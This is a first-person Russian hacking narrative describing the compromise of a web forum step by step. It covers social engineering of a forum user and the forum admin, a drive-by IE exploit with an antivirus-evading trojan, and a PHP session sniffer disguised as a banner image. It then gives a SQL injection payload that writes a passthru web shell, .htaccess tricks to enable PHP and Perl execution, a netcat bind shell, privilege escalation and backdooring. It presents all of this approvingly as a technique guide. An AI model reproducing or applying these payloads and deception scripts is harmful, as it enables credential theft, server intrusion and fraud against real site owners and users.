Зачем эта статья?
Надеюсь, что для одноразового прочтения сойдет. Просто нравятся мне такие статьи, а их мало.
Было очень жарко...
Я налил лимонного сока, положил в стакан льда, стал читать башорг, но тут вспомнил, что надо бы зломать один сервер. Я на него уже давно хотел поглядеть. На сервере не оказалось установлено ничего, кроме форума, который я и избрал своим единственным объектом атаки.
Осматриваемся...
Форум был самописный и с виду неплохо защищенный. Первым же своим действием я обнаружил администраторскую панель, просто вбив в адресную строку http://site.com/admin/. Админка была доступна, видимо, только админу (странно). Я еще поглядел баги, но, ничего не найдя, решил зарегестрироваться. На страничке регистрации я с сожалением увидел, что регистрация на форуме закрыта. И происходит только через админа. Я не стал вчитываться в то, какого содержания письмо писать админу и что в нем указывать, чтобы мне дали аккаунт, я сразу избрал другой путь.
Регистрируемся...
Я хотел сбрутить чужой аккаунт, зашел на страничку входа, и немного поубавил свой пыл, увидев там капчу. Правда капча была самой примитивной и я подумал, что можно быстро и со 100% вероятностью ее распознавать. Но перед тем, как я начал писать распознавалку, решил проверить саму авторизацию на прочность. И не зря, оказалось, что в поле hidden формы передавался md5 хеш капчи, но стоит отдать должное программеру, он передаваемый текст хитро спрятал в функции onSubmit, которая присваивала скрытому полю нужное значение прямо перед отправкой.
Итак, я быстро написал скрипт на пхп, и попытался брутить, но меня постигла неудача, на IP адрес стояло ограничение по количеству неудачных авторизаций. Я подумал было прикупить проксей, но решил что проще и надежней будет связаться с кем-нибудь из участников форума и впарить ему троя. Искать нужного человека я полез в гугл.
Я вбил запросы:
Код:
site:site.com мое мыло
site:site.com моя ася
И гугл любезно выдал мне нашел несколько людей с аськами и адресами почты. Почитав посты потенциальных жертв, я выбрал первого человека, постоянно посещающего форум, взял кривую восьмерку, сменил инфу и стукнул ему в асю. Сказал, что хочу зарегестрироваться на форуме и попросил его помочь мне с этим нелегким делом. Человек попался отзывчивый и добрый, начал рассказывать и объяснять мне все. Он рассказывал долго, а я много спрашивал. В итоге стало ясно, что он в последнюю очередь видит во мне злобного хакера, пытающегося увести его аккаунт, и в первую очередь глупую девчонку. И тогда я начал действовать:
Я: мммм... у меня почему-то антивирус начал говорить, что на форуме вирус, и сайт не открывается, посмотри пожалуйста!
Жертва: у меня молчит и все нормально
Я: а у тебя какой антивирус?
Жертва: я нод32 использую
Я: ну у тоже нод, может это из-за браузера? ты интернет эксплорер используешь?
Жертва: ну да, не знаю, у меня никогда ничего не находил
Я: о, я отключила фаервол и все заработало, странно, у тебя не аутпост стоит?
Жертва: нет, я без фаервола вообще сижу
Так я узнал все, что мне надо о жертве, и пока мы мило беседовали дальше, я создал страничку со сплоитом под ИЕ и троем, закриптованным от НОДа. Залил все это на старый акк jino-net, чел зашел по моему линку на флешку, и пока смотрел ее, я уже зашел на форум под его логином и паролем. Мы еще обменялись парой фраз, а потом я поехала в институт.
И что же мы получили?
Первое, что бросилось в глаза - то, что пароля в куках не было, была только сессия. Причем эта же сессия мелькала и в get запросах. Я подумал, что можно просниффать админскую сессию, но возник логичный вопрос - как? Аватары на форуме нельзя было указывать ссылками на другой сайт. Только загружать с локалхоста. А тега img не было. Никакой возможности поставить сниффер мне не предоставилось. Я поискал другие баги, но сайт бы чист. Тогда мне в голову пришла идея, как заполучить сессию админа.
Получаем админскую сессию.
На форуме было несколько рекламных мест, вверху и внизу висели баннеры 468x60, а также пару текстовых ссылок. Баннеры как ни странно были расположены на сайтах рекламодателей. У меня был шелл на сайте с похожей тематикой, я взял их баннер, разместил в отдельной папке, в которой создал также .htaccess с содержимым:
Код:
<Files "banner.jpg">
AddType application/x-httpd-php .jpg
</Files>
Скрипт banner.jpg я сделал сниффером, чтобы он логировал реферер:
Код:
<?php
// открываем файл, записываем IP, реферер на новую строку, закрываем
$fo=fopen('1.txt','ab');
fwrite($fo,$_SERVER['REMOTE_ADDR'].':'.$_SERVER['HTTP_REFERER']."\r\n";
fclose($fo);
// показываем картинку realbanner.jpg
header("Content-type: image/jpeg");
$im=imagecreatefromjpeg("./realbanner.jpg");
Imagejpeg($im,'',20);
ImageDestroy($im);
?>
После я взял кривую шестерку, стукнул админу, сказал, что по вопросам размещения рекламы. Он отнесся к предложению с трепетом и излишним энтузиазмом, мы быстро договорились, было ясно, что такие предложения поступают к нему не часто и я сыграл на этом, используя очень деловой тон. Я дал ему ссылку на banner.jpg, сказал, чтобы он поставил его на сайт, и я сразу переведу деньги. Админ поставил мой баннер. Я одобрил, но вдруг обнаружил, что мой кошелек заблокирован, извинился и сказал, что стукну как только разблокирую его. Сессия админа была у меня.
Ваши права? Администратор!
Я подменил куки и вошел на форум под админом. И сразу ломанулся осматривать админ панель меня пустило без дополнительных проверок.
В админке было не очень много возможностей, я стал искать как бы мне залить шелл, но заливать файлы там было нельзя. Я старательно принялся искать любые баги и вскоре заметил, что при выполнении определенных действий с базой юзеров, в type='hidden' поле формы передается id юзера.
Я сделал на локалхосте аналог формы из админки:
Код:
<form action='http://site.com/admin_panel/index.php?action=edituser' method='post'>
<input type='text' name='user_id' value='SQL Injection' />
<input type='submit' name='submit' value='submit' />
</form>
И, попробовав послать некорректный запрос, я увидел ошибку mysql.
Поскольку я одновременно узнал и пути, и имя таблицы, я попробывал залить шелл через info outfile в директорию с аватарами, она ведь была открыта для записи, у меня получилось:
Код:
1' union select '<? passthru($_GET[cmd]) ?>' from users into outfile
'/home/site/public_html/images/av/image.php'/*
Но вот в директории с аватарами было запрещено выполнение пхп скриптов. Как я позже узнал, запрет был при помощи следущего
текста в .htaccess:
Код:
<Files ~ "\.php">
Order allow,deny
Deny from all
</Files>
Я попробовал изменить расширение на .php3, и скрипт запустился.
Safe mode On
Но мой шелл не работал, потому-что safe_mod был включен. Тогда я залил простенький скрипт, при помощи которого можно было заливать файлы в определенную папку на сервер. И залил шелл от rst. Увидел уязвимое ядро, увидел, что функция eval и множество других были выключены. Я понял, что при помощи пхп ловить тут нечего. Я не мог выполнять команды, а выполнять кастрированный пхп код мог лишь заливая каждый раз новый файл. Тогда новым файлом я попытался удалить .htaccess, получилось:
Код:
<?php unlink('./.htaccess');?>
Тогда я залил perl шелл, залил новый .htaccess с содержимым:
Код:
<Directory /home/site/public_html/images/av/>
Options +ExecCGI
AddHandler cgi-script .pl
</Directory>
Этим я разрешил выполнение perl скриптов в данной директории.
Также пришлось залить простенький файл, который сменил chmod моему perl скрипту. Только тогда мой perl шелл заработал.
Полноценный шелл, это так здорово!
Итак, шелл на перле запустился. Я нашел в файле конфига инфу для доступа к бд, ничего интересного там не было. Хотя пароли хранились в открытом виде и я слил таблицу юзеров. Я залил скрипт для бинда порта, вошел на сервер netcat'ом. Дальше я использовал эксплоит для повышения прав, поимев рута, взял с сервера то, что мне было нужно, замел следы, забекдорил систему... но это уже совсем другая история...
А на улице по прежнему +30, или В заключении...
...хочу сказать - не пытайтесь повторить это дома, это опасно для жизни. Если будете повторять - не забывайте предохраняться. И помните, не бывает 100% защищенных систем. Используйте творческий подход. Иногда даже обычная XSS может дать вам рута. Не говоря уже про человеческий фактор.
Все.
Могут быть ошибки. Писал все по памяти.